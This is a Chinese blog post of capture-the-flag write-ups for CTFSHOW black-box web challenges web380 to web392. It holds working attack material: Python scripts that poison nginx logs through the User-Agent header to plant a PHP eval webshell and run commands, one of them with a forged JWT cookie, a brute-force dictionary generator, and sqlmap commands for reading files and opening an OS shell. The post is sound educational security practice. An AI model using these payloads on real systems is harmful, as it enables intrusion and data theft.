php黑盒测试,CTFSHOW黑盒测试篇

最新推荐文章于 2023-07-10 20:48:44 发布

Moral Choices

最新推荐文章于 2023-07-10 20:48:44 发布

阅读量373

点赞数

文章标签： php黑盒测试

本文详细介绍了多个CTF（网络安全竞赛）挑战的解决过程，涉及Web安全领域的常见漏洞，如目录扫描、SQL注入、文件包含、权限提升等。通过payload构造、扫描工具使用及PHP代码利用，逐步揭示获取flag的方法，同时提供了部分Python代码示例进行漏洞利用。

摘要由CSDN通过智能技术生成

文章目录

web380

payload

后台目录扫描发现page.php，什么，没有扫到，那就自己添加到扫描器的字典里吧。

page.php?id=flag

web381

payload

地址在源码里面

web382、383

还是上面的地址，万能密码登录得到flag

web384

字典生成

import string

s1=string.ascii_lowercase

s2=string.digits

f=open('dict.txt','w')

for i in s1:

for j in s1:

for k in s2:

for l in s2:

for m in s2:

p=i+j+k+l+m

f.write(p+"\n")

f.close()

登录的时候抓包爆破

几率是676000分之一。。。。。还是在用户名如果真的是admin的前提下

payload admin xy123

web385

扫描后台得到/install

按照他说的访问install/?install

然后再去登录，如果大家上面题目用sql注入注出用户名密码会发现是admin admin888

登录就能得到flag了

web386

通过扫描后台发现clear.php和install

访问install

访问clear.php直接显示清理完成

盲猜一波file参数,删个index.php试试

哎呦还真可以

那直接把lock.dat删了,lock.dat在linstall下

剩下的就是上一题的重复了。

访问install/?install初始化账号密码

然后admin admin888登录

web387

接着扫描后台发现/debug，访问提示file not exit，那我们给他一个参数

存在文件包含，尝试包含日志，发现可以成功file=/var/log/nginx/access.log

那直接在UA里面写一句话就可以了，然后再包含日志

发现没成功，但是在源码里面看到如下内容，也就是传的参数没有被结束

那我们直接利用php吧dat文件删除是不是就可以了。

写入如下内容

然后再去访问install/?install，发现确实成功了。

剩下的就是登录拿flag了。。

388

非预期解，可以写日志但是做了一些限制，所以绕过就好了。

payload:

import requests

import base64

url="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/"

url2="http://fb707431-ebb7-41c8-9ce7-57da16163fec.chall.ctf.show/debug/?file=/var/log/nginx/access.log"

cmd=b"<?php eval($_POST[1]);?>"

cmd=base64.b64encode(cmd).decode()

headers={

'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd)

}

print(headers)

requests.get(url=url,headers=headers)

requests.get(url2)

print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'}).text)

预期解参考视频https://www.bilibili.com/video/BV16A411W7GP

web389

在上题的基础上整了个jwt伪造

类似于web377 https://blog.csdn.net/miuzzx/article/details/111936737

然后将得到的jwt串放到脚本中

import requests

import base64

url="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/"

url2="http://bf2e6fca-c437-4f5b-90c3-75b4087cfdc5.chall.ctf.show/debug/?file=/var/log/nginx/access.log"

cmd=b"<?php eval($_POST[1]);?>"

cmd=base64.b64encode(cmd).decode()

headers={

'User-Agent':'''<?php system('echo {0}|base64 -d > /var/www/html/b.php');?>'''.format(cmd),

'Cookie':'auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTYxMDQ0MDA5MSwiZXhwIjoxNjEwNDQ3MjkxLCJuYmYiOjE2MTA0NDAwOTEsInN1YiI6ImFkbWluIiwianRpIjoiYzNlM2U5NjQ4OGI3NWY0MzY4YmE4Njg0ZTRjZWJlZTQifQ.hEV8CkkdvhKsNL_OrssrBzjzstVhq7_sQNefiuplSqU'

}

print(headers)

requests.get(url=url,headers=headers)

requests.get(url2,headers=headers)

print(requests.post(url+'b.php',data={'1':'system("cat alsckdfy/check.php");'},headers=headers).text)

web390

在page.php页面存在sql注入

sqlmap一句话搞定

python sqlmap.py -u http://fdbabc63-b2f3-4050-8b2e-9f5ee609119a.chall.ctf.show/page.php?id=2 --file-read /var/www/html/alsckdfy/check.php --batch

运行完会将文件保存在你的本地，直接访问就拿到flag

web391

注入点不在page.php了，在输入标题的地方(随便点个页面就能看到)

继续sqlmap

python sqlmap.py -u http://042a780b-dfd3-4bd9-861c-81661b2915e0.chall.ctf.show/search.php?title=1 --file-read /var/www/html/alsckdfy/check.php --batch

web392

flag在/flag

python sqlmap.py -u http://175efaca-626f-46a6-bddd-68246b90c5f5.chall.ctf.show/search.php?title=1 --os-shell